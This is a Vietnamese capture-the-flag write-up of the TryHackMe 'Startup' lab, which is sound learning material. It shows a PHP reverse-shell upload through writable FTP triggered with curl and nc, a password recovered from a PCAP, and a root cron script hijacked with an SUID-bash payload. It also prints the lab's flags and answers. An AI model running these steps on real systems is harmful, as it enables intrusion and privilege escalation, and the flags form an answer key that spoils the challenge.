# TryHackMe - Startup | Writeup chi tiết (Red + Web)

> **Bối cảnh:** Đây là writeup phòng lab **TryHackMe "Startup"** — môi trường được phép, thực hiện trong VPN lab của TryHackMe, mục đích học tập & phòng thủ. Mọi thao tác chỉ áp dụng cho máy mục tiêu của lab.

**Độ khó:** Easy · **Chủ đề:** FTP/web RCE → phân tích PCAP → privesc qua cron writable

---

## 1. Recon — Nmap

Quét toàn bộ port:

```bash
nmap -sC -sV -p- <MACHINE_IP>
```

Kết quả 3 dịch vụ chính:

| Port | Service |
|---|---|
| 21 | vsftpd (FTP — cho phép anonymous) |
| 22 | OpenSSH |
| 80 | Apache httpd |

![Nmap scan](https://files.catbox.moe/adv7ul.png)

---

## 2. FTP Anonymous + Web Maintenance

Đăng nhập FTP ẩn danh:

```bash
ftp <MACHINE_IP>
# user: anonymous / pass: (trống)
```

Thấy thư mục `ftp/` ghi được và file `notice.txt` nhắc về việc bảo trì / di chuyển credentials.

![Anonymous FTP](https://files.catbox.moe/2zadkp.png)

Trang web port 80 chỉ là trang **Maintenance**.

![Trang Maintenance](https://files.catbox.moe/wdd4l4.png)

---

## 3. Gobuster → /files/

```bash
gobuster dir -u http://<MACHINE_IP>/ -w /usr/share/wordlists/dirb/common.txt
```

Phát hiện `/files/` — đây chính là thư mục FTP `ftp/` được phục vụ qua HTTP (**Index of /files**).

![Gobuster](https://files.catbox.moe/5avkxc.png)

![Index of /files](https://files.catbox.moe/d6vsli.png)

---

## 4. Upload reverse shell qua FTP → RCE

Vì `ftp/` **ghi được** và lại được serve tại `/files/`, ta upload PHP reverse shell qua FTP rồi trigger qua web.

```bash
# Trong phiên FTP
put shell.php

# Lắng nghe
nc -lvnp 4444

# Trigger
curl http://<MACHINE_IP>/files/shell.php
```

Có shell với quyền `www-data` (LHOST = `tun0`).

![Upload shell + RCE](https://files.catbox.moe/4k54nw.png)

![RCE www-data](https://files.catbox.moe/m8i3w6.png)

---

## 5. recipe.txt + PCAP điều tra

Trên máy có `recipe.txt` → trả lời câu hỏi *"secret spicy soup recipe"* = **`love`**.

Quan trọng hơn: thư mục `/incidents/` chứa `suspicious.pcapng`.

![recipe.txt và /incidents](https://files.catbox.moe/jtvipg.png)

Tải file về và mở bằng Wireshark, **Follow TCP Stream** → tái hiện phiên reverse shell của một kẻ tấn công trước đó. Trong stream lộ mật khẩu khi gõ `sudo`:

```
lennie : c4ntg3t3n0ughsp1c3
```

![Phân tích PCAP](https://files.catbox.moe/v80vir.png)

---

## 6. SSH lennie → user.txt

```bash
ssh lennie@<MACHINE_IP>
# password: c4ntg3t3n0ughsp1c3
cat ~/user.txt
```

> **user.txt** = `THM{03ce3d619b80ccbfb3b7fc81e46c0e79}`

![SSH lennie — user.txt](https://files.catbox.moe/mp961v.png)

---

## 7. Privilege Escalation — cron writable

Trong `/home/lennie/scripts/` có `planner.sh` và `startup_list.txt`. `planner.sh` gọi tới `/etc/print.sh` — file mà **lennie có quyền ghi**, và một **cron của root** chạy `planner.sh` định kỳ (~90s).

![Privesc enum](https://files.catbox.moe/0m4dd0.png)

Ghi payload tạo SUID bash vào `/etc/print.sh`:

```bash
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /etc/print.sh
# chờ cron root chạy (~90s)
ls -la /tmp/rootbash   # -rwsr-xr-x
/tmp/rootbash -p
# id -> euid=0(root)
cat /root/root.txt
```

> **root.txt** = `THM{f963aaa6a430f210222158ae15c3d76d}`

![Leo quyền root — root.txt](https://files.catbox.moe/epoot2.png)

---

## Tổng kết

| Giai đoạn | Kỹ thuật |
|---|---|
| Foothold | FTP anonymous ghi được + serve tại `/files/` → PHP reverse shell → RCE www-data |
| Lateral | Phân tích PCAP (`suspicious.pcapng`) lộ mật khẩu `lennie` |
| PrivEsc | Cron root chạy script gọi file ghi được (`/etc/print.sh`) → SUID bash → root |

**Bài học phòng thủ:** không để thư mục FTP ghi được trùng với web root; không lưu credential trong file/capture để lộ; script chạy bởi cron root phải thuộc sở hữu root và không cho user thường ghi.

